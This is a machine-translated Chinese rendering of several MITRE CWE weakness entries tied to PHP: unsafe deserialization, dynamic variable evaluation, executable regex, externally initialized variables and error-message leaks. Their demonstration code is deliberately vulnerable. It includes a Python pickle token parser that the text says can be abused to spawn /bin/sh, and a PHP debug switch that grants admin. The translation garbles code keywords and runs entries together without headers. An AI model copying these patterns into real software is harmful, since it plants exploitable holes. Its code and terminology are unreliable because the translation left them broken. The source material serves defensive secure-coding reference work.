客观的
这个视图(片)覆盖问题中发现PHP程序,没有共同语言。
过滤器
[/ Weakness_Catalog /缺陷/弱点。/ Applicable_Platforms /语言/ @ name = ' PHP ']
会员
自然
类型
ID
的名字
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
88年
不当中和一个命令的参数分隔符(“参数注入”)
HasMember
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
95年
不当中和指令的动态评估代码(Eval注入)
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
96年
不当中和静态保存指令的代码(静态代码注入)
HasMember
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
98年
不当控制包括/需要声明在PHP程序的文件名(PHP远程文件包含)
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
209年
代的包含敏感信息的错误消息
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
211年
外部生成包含敏感信息的错误消息
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
434年
无限制上传文件与危险的类型
HasMember
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
453年
不安全的默认变量初始化
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
454年
可信的外部初始化变量或数据存储
HasMember
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
457年
使用未初始化的变量
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
470年
使用外部控制输入选择类或代码(“不安全的反思”)
HasMember
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
473年
PHP外部变量修改
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
474年
使用的功能不一致的实现
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
484年
省略Break语句在开关
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
502年
反序列化的数据不可信
HasMember
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
595年
比较对象引用,而不是对象的内容
HasMember
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
616年
不完整的上传文件的识别变量(PHP)
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
621年
变量提取错误
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
624年
可执行正则表达式错误
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
625年
宽容的正则表达式
HasMember
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
626年
零字节交互错误(毒Null字节)
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
627年
动态变量评价
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
915年
控制不当修改动态确定对象的属性
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
1024年
不兼容的类型的比较
HasMember
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
1336年
不当使用中和特殊元素在一个模板引擎
查看指标
连续波在这个视图
总连续波
弱点
25
的
933年
类别
0
的
352年
的观点
0
的
47
总
25
的
1332年
视图组件
描述
产品执行两个实体之间的比较,但不同的实体,无法保证不兼容的类型直接比较时提供正确的结果。
扩展描述
在严格的语言类型,但支持铸造/转换,如C或c++程序员可能假设铸造一个实体到另一个实体类型一样将确保将正确地进行比较,但这无法保证。没有严格的语言类型,比如PHP或JavaScript,可能有隐含的铸件/转换类型的程序员不知道,导致意想不到的结果;例如,字符串“123”可能会被转换为数字类型。看到的例子。
的关系
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
潜在的缓解措施
测试阶段:
彻底地测试部署代码投入生产前的比较方案。执行积极的测试以及消极的测试。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
cwe - 595:比较对象引用,而不是对象的内容
描述
产品比较对象引用,而不是对象本身的内容,防止检测对象。
扩展描述
例如,在Java中,使用= =比较对象通常产生的结果,因为= =操作符进行比较对象引用,而不是值;通常,这意味着使用= =字符串实际上是比较字符串的引用,而不是他们的价值观。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关观点“软件开发”(cwe - 699)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
569年
表达式问题
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
其他
这个弱点可能导致错误的结果,可能会导致异常的应用程序行为。
示范例子
示例1
在下面的示例中,两个Java字符串对象声明和初始化字符串值。一个if语句用于确定字符串是等价的。
字符串str1 =新的字符串(“Hello”);
字符串str2 =新的字符串(“Hello”);
如果(str1 = = str2) {
system . out。println (“str1 = = str2”);
}
然而,如果语句将不会执行字符串比较使用“= =”操作符。对于Java对象,例如字符串对象,“= =”操作符比较对象引用,而不是对象值。在上面的两个字符串对象包含相同的字符串值,他们指的是不同的对象引用,所以system . out。println语句不会被执行。比较对象的值,可以修改前面的代码使用equals方法:
如果(str1.equals (str2)) {
system . out。println (“str1等于str2”);
}
示例2
在以下Java示例中,两个BankAccount对象比较isSameAccount方法使用= =操作符。
公共布尔isSameAccount (BankAccount accountA, BankAccount accountB) {
返回accountA = = accountB;
}
使用= =操作符比较对象可能会产生错误或欺骗的结果通过比较对象引用,而不是价值。=()方法应该被用来确保正确的结果或对象应包含一个成员变量,惟一地标识对象。
下面的示例展示了使用equals()方法比较BankAccount对象和下一个示例使用一个类get方法来检索银行帐号,惟一地标识BankAccount对象比较对象。
公共布尔isSameAccount (BankAccount accountA, BankAccount accountB) {
返回accountA.equals (accountB);
}
潜在的缓解措施
实施阶段:
在Java中,使用equals()方法比较对象而不是= =操作符。如果使用= =,重要的是出于性能方面的原因,你的对象是由一个静态的工厂,而不是构造函数。
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
分类法映射
映射分类名称
节点ID
适合
映射节点名
CERT甲骨文安全Java编码标准(2011)
EXP02-J
使用双参数Arrays.equals()方法比较数组的内容
CERT甲骨文安全Java编码标准(2011)
EXP02-J
使用双参数Arrays.equals()方法比较数组的内容
CERT甲骨文安全Java编码标准(2011)
EXP03-J
不要使用盒装原语的平等运营商当比较值
引用
描述
产品反序列化不可信数据不充分验证结果数据将是有效的。
扩展描述
序列化对象往往是方便沟通或保存以备后用。然而,反序列化数据或代码往往可修改,无需使用提供的访问器功能如果它不使用加密来保护自己。此外,任何加密仍将客户端安全——这是一个危险的安全假设。
不可信的数据不能被信任是格式良好的。
当开发人员的地方没有限制工具链,或一系列的实例和方法调用可以self-execute反序列化过程中(即。对象返回给调用者之前),攻击者利用他们有时可能执行未经授权的操作,生成一个壳。
替代条款
打包,包:
打包和序列化和反序列化,实际上是同义词。
酸洗,unpickle:
在Python中,“泡菜”功能是用于执行序列化和反序列化。
PHP对象注入:
一些PHP应用程序研究人员使用这个术语时攻击unserialize()函数的不安全使用;但它也可以用于
cwe - 915 。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关观点“软件开发”(cwe - 699)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
399年
资源管理错误
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
913年
不当的控制代码动态地管理资源
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关视图”架构概念”(cwe - 1008)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1019年
验证输入
背景细节
序列化和反序列化的过程指特性采取program-internal上肢数据,包装的方式,允许外部存储或传输的数据(“序列化”),然后提取序列化数据重建原来的对象(“反序列化”)。
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
架构和设计
遗漏:这个弱点是由于缺少一个安全策略在体系结构和设计阶段。
实现
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
完整性
攻击者可以修改意想不到的对象或数据被认为是安全的修改。
可用性
如果一个函数在一个假设在终止时,基于一个哨兵在一个字符串,它可能永远不会终止。
其他
后果可能差别很大,因为它依赖于被反序列化对象或方法,以及如何使用它们。做一个假设反序列化对象中的代码是有效的是危险的,可以使剥削。
利用的可能性
示范例子
示例1
这个代码片段反序列化一个对象从一个文件中,并使用它作为一个UI按钮:
尝试{
文件文件=新文件(“object.obj”); ObjectInputStream =新ObjectInputStream(新FileInputStream(文件); javax.swing。JButton button = (javax.swing.JButton) in.readObject(); in.close ();
}
这段代码不会尝试验证文件的源或内容之前反序列化。攻击者可以将目标文件替换为一个文件,其中包含任意恶意代码时将执行按钮被按下。
减轻,明确定义最终readObject()来防止反序列化。这方面的一个例子:
私人最终无效readObject (ObjectInputStream)抛出io。IOException { 把新的io。我OException("Cannot be deserialized"); }
示例2
在Python中,泡菜库处理序列化和反序列化过程。在这个例子中来自[ref - 467 ),代码接收并解析数据,然后试图验证一个用户基于验证令牌。
尝试{
类ExampleProtocol (protocol.Protocol): def dataReceived(自我、数据):
#代码会在这里将解析传入的数据 #接收头后,调用confirmAuth()进行身份验证
def confirmAuth(自我,标题): 试一试: 令牌= cPickle.loads (base64.b64decode(头[' AuthToken '])) 如果不是check_hmac(令牌“签名”,令牌(的数据),getSecretKey ()): 提高AuthFail 自我。secure_data =令牌(的数据) 除了: 提高AuthFail
}
不幸的是,代码不验证传入的数据是合法的。攻击者可以构造一个非法的、序列化对象“AuthToken”实例化一个Python的子流程执行任意命令。例如,攻击者可以构造一个泡菜,利用Python的子过程模块,生成新的流程和包括一个数量的参数为各种用途。自泡菜允许对象定义的过程如何应该未酸洗的,攻击者可以直接unpickle过程调用Popen /bin/sh.子过程模块和执行
观察到的例子
参考
描述
反序列化问题常用的Java库允许远程执行。
反序列化问题常用的Java库允许远程执行。
使用PHP unserialize函数不受信任的输入允许攻击者修改应用程序配置。
使用PHP unserialize函数不受信任的输入的内容管理系统可能允许代码执行。
使用PHP unserialize函数不受信任的输入内容管理系统允许代码执行使用一个精心制作的饼干的价值。
用PHP编写的内容管理系统允许非系列化的任意对象,可能允许代码执行。
Python脚本允许本地用户通过腌数据执行代码。
不安全的反序列化使用Python脚本的泡菜。
Web浏览器允许执行本地方法通过精心字符串反序列化的字符串的JavaScript函数。
潜在的缓解措施
阶段:体系结构和设计;实现
如果可用,使用编程语言的签字/密封特性以确保反序列化数据没有被污染。例如,一个基于散列的消息验证码(HMAC)可以用来确保数据没有被修改。
实施阶段:
当反序列化数据,填充一个新对象而不是反序列化。结果是,数据流经安全输入验证和功能是安全的。
实施阶段:
显式地定义最后一个对象()来防止反序列化。
阶段:体系结构和设计;实现
使保护他们免受反序列化字段瞬态。
尝试序列化并反序列化类包含瞬态字段将导致瞬态数据应该取消。这是一个很好的方法来防止时间,把环境相关,或敏感变量和使用不当。
实施阶段:
避免不必要的类型或设备可以被恶意利用的目的。这限制了潜在的意外或未经授权的类型和小玩意被攻击者利用。只添加接受allowlist类。注意:新产品不断被发现,这本身并不是一个充分的缓解。
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
858年
CERT甲骨文安全Java编码标准(2011)第十五章-序列化(SER)
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
884年
CWE横截面
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
994年
SFP二级集群:受污染的输入变量
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1034年
OWASP 2017年十大类别A8——不安全的反序列化
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1148年
SEI CERT甲骨文Java安全编码标准,准则14。序列化(SER)
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1200年
弱点在2019 CWE最危险的软件错误
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1308年
方案及质量措施,安全
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1337年
2021 CWE最危险软件的弱点的弱点
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1340年
方案及数据保护措施
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1350年
2020 CWE最危险软件的弱点的弱点
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1354年
OWASP 2021年十大类别A08:2021——软件和数据完整性的失败
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1387年
2022 CWE最危险软件的弱点的弱点
笔记
分类法映射
映射分类名称
节点ID
适合
映射节点名
扣
反序列化的数据不可信
CERT甲骨文安全Java编码标准(2011)
SER01-J
不偏离正确的序列化方法的签名吗
CERT甲骨文安全Java编码标准(2011)
SER03-J
不要序列化未加密,敏感数据
CERT甲骨文安全Java编码标准(2011)
SER06-J
反序列化期间私人可变的组件创建防御副本
CERT甲骨文安全Java编码标准(2011)
SER08-J
不要使用默认的序列化形式不变量定义的实现
软件故障模式
SFP25
受污染的输入变量
引用
描述
的语言,用户可以在运行时影响变量的名称,如果变量名不控制,攻击者可以读或写任意变量,或访问任意的函数。
扩展描述
结果漏洞取决于应用程序的行为,在交叉点和可及的任何控制/数据流相关的变量或函数。
替代条款
的关系
背景细节
许多解释语言支持使用“$ $ varname”构造设置一个变量$ varname变量指定的名字。在PHP中,这些被称为“可变变量。”Functions might also be invoked using similar syntax, such as $$funcname(arg1, arg2).
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
保密 完整性 可用性
技术的影响: 修改应用程序数据;执行未经授权的代码或命令
攻击者可以获得未授权访问内部程序变量和执行任意代码。
观察到的例子
参考
描述
链:动态变量评价允许合成远程文件包含和路径遍历。
链:动态变量评估在PHP程序用于修改关键,为合成XSS _SERVER意想不到的变量。
链:动态变量评估在PHP程序用来进行远程文件包含。
动态变量评估邮件程序允许读和修改附件和其他用户的偏好。
潜在的缓解措施
实施阶段:
重构代码尽可能避免动态变量的评估。
实施阶段:
只使用allowlists可接受的变量或函数名。
实施阶段:
函数名,确保你只接受适当的数量的参数调用函数,以避免意外的null参数。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
笔记
研究的差距
超,可能低报。一些研究者寻找这个问题;大多数公共报告是为PHP,尽管其他语言都受到影响。这个问题可能是生长在PHP开发人员开始实现功能register_globals的地方。
引用
描述
产品使用一个正则表达式,要么(1)包含一个可执行组件与用户控制输入,或(2)允许用户启用执行插入模式修饰符。
扩展描述
例(2)是可能的在PHP preg_replace()函数,并可能在其他语言中当一个用户控制输入插入一个字符串,随后解析为一个正则表达式。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
77年
不当中和一个命令中使用的特殊元素(“命令注入”)
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关观点“软件开发”(cwe - 699)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
19
数据处理错误
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”方案及质量的措施(2020)”(CWE-1305)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
77年
不当中和一个命令中使用的特殊元素(“命令注入”)
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”方案及数据保护措施”(cwe - 1340)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
77年
不当中和一个命令中使用的特殊元素(“命令注入”)
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
观察到的例子
参考
描述
在PHP可执行正则表达式“e”修饰符插入preg_replace第一个参数
在PHP可执行正则表达式“e”修饰符插入preg_replace第一个参数
复杂的语法插入PHP替换参数preg_replace(),它使用修饰符“/ e”
函数允许远程攻击者通过用户名字段执行任意的PHP代码,用于与a / e函数调用preg_replace(可执行的)修饰符。
潜在的缓解措施
实施阶段:
一些语言中的正则表达式特性允许输入引用或逃脱在插入之前,如Q和\ \ E在Perl。
笔记
研究的差距
超。现有的PHP报告仅限于高技能人员,但也有其他语言的一些例子。怀疑这是低报所有的语言。可用性因素可能会使它更普遍在PHP中,但这个理论还没有被调查。
分类法映射
映射分类名称
节点ID
适合
映射节点名
软件故障模式
SFP24
污染输入命令
cwe - 454:可信的外部初始化变量或数据存储
描述
产品初始化关键内部变量或数据存储使用输入,可以修改不可信的演员。
扩展描述
产品系统应该不愿意信任变量被初始化的信任边界之外,特别是如果他们被用户初始化。可能是初始化错误的变量。如果攻击者可以初始化变量,然后他们可以影响脆弱的系统将做什么。
的关系
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
完整性
攻击者可以访问和修改敏感数据或系统信息。
示范例子
示例1
在Java在下面的例子中,一个系统属性控制应用程序的调试级别。
int debugLevel = Integer.getInteger (com.domain.application.debugLevel) .intValue ();
如果攻击者可以修改系统属性,那么它有可能诱导应用到泄露敏感信息通过更多的调试信息是印刷/公开为调试水平增加。
示例2
这段代码检查的HTTP POST请求调试开关,并使调试模式如果开关设置。
美元debugEnabled = false;
if ($ _POST[“调试”]= = " true ") {
美元debugEnabled = true;
}
/……
函数登录(用户名、密码美元){
如果(debugEnabled美元){
回声“调试激活”; phpinfo (); 美元isAdmin = True; 返回True;
}
}
任何用户都可以激活调试模式,获得管理员权限。攻击者也可以使用打印的信息phpinfo()函数,进一步利用系统。。
这个示例还展示信息暴露通过调试信息(cwe - 215 )
观察到的例子
参考
描述
不清楚危险的环境变量,使符号链接攻击。
在环境变量指定备用配置目录,使不受信任的路径。
危险的环境变量不洁净。
使用环境变量指定任意模块。
潜在的缓解措施
实施阶段:
产品系统应该不愿意信任变量被初始化外部的信任边界。确保充足的检查(如输入验证)执行时依靠从外部输入信任边界。
阶段:体系结构和设计
避免任何外部的控制变量。如果有必要,限制使用allowlist可以修改的变量,并使用不同的名称空间或命名约定,如果可能的话。
笔记
分类法映射
映射分类名称
节点ID
适合
映射节点名
千鸟
可信的外部初始化变量或值
软件故障模式
SFP25
受污染的输入变量
cwe - 211:外部生成包含敏感信息的错误消息
描述
产品执行一个操作,触发外部诊断或错误消息不能直接生成或控制的产品,比如一个错误产生的一个软件应用程序使用的编程语言解释器。错误可以包含敏感的系统信息。
的关系
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
架构和设计
PHP应用程序通常是针对这个问题当PHP解释器生成错误之外的应用程序的控制。然而,其他语言/环境表现出同样的问题。
实现
实现:造成这一弱点在建筑安全策略的实施。
操作
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
观察到的例子
参考
描述
链:产品不防止直接包含文件的请求,导致合成路径包括文件不成功执行时披露。
单”“插入SQL查询导致无效的SQL查询执行,触发披露完整路径。可能从更一般的SQL注入合成问题。
链:产品不防止直接请求的一个库文件,导致合成路径文件不成功执行时披露。
无效的参数触发未能找到一个包含文件,导致infoleak在错误消息。
各种无效的请求导致信息泄漏的详细错误信息描述的失败实例化一个类,打开配置文件,或者执行一个未定义的函数。
文件名与落后的“/”请求的处理不当导致多个后果,包括信息泄漏在Visual Basic错误消息。
潜在的缓解措施
阶段:系统配置
配置应用程序的环境,防止错误产生。例如,在PHP中,禁用display_errors。
阶段:实施;构建和编译
调试信息不应使其进入生产。
阶段:实施;构建和编译
调试信息不应使其进入生产。
实施阶段:
内部处理异常和不显示错误可能包含敏感信息给用户。在必要时创建默认的错误页面。
实施阶段:
在实现期间防止这个弱点的最好方法是避免任何错误可能引发外部错误消息。这通常发生在当程序遇到致命错误,如被零除。你并不总是能够控制错误页面的使用,你可能不会使用语言,处理异常。
弱点Ordinalities
Ordinality
描述
合成
(缺点是通常与其他弱点的存在)
功能区域
笔记
的关系
这本质上是一个合成脆弱性从一个弱点在产品或交互错误。
分类法映射
映射分类名称
节点ID
适合
映射节点名
千鸟
Infoleak Product-External错误消息
描述
产品生成一个错误消息,包括环境的敏感信息,用户,或相关的数据。
扩展描述
自己的敏感信息可能有价值的信息(如密码),或者它可能是有用的推出,更严重的攻击。错误信息可以以不同的方式创建:
自身:源代码错误消息,并将其显式结构
外部产生的外部环境,如语言翻译,处理错误和构造自己的消息,其内容不是由程序员直接控制
攻击者可以使用错误消息的内容帮助启动另一个,更有针对性的攻击。例如,一个试图利用路径遍历的弱点(CWE-22 )可能产生安装应用程序的完整路径名。反过来,这可能是用于选择适当数量的“. .”序列导航到目标文件。使用SQL注入攻击(cwe - 89 )最初可能不会成功,但一个错误消息可能揭示了畸形的查询,这将使查询逻辑,甚至可能在查询中使用密码或其他敏感信息。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
755年
异常情况的处理不当
ChildOf
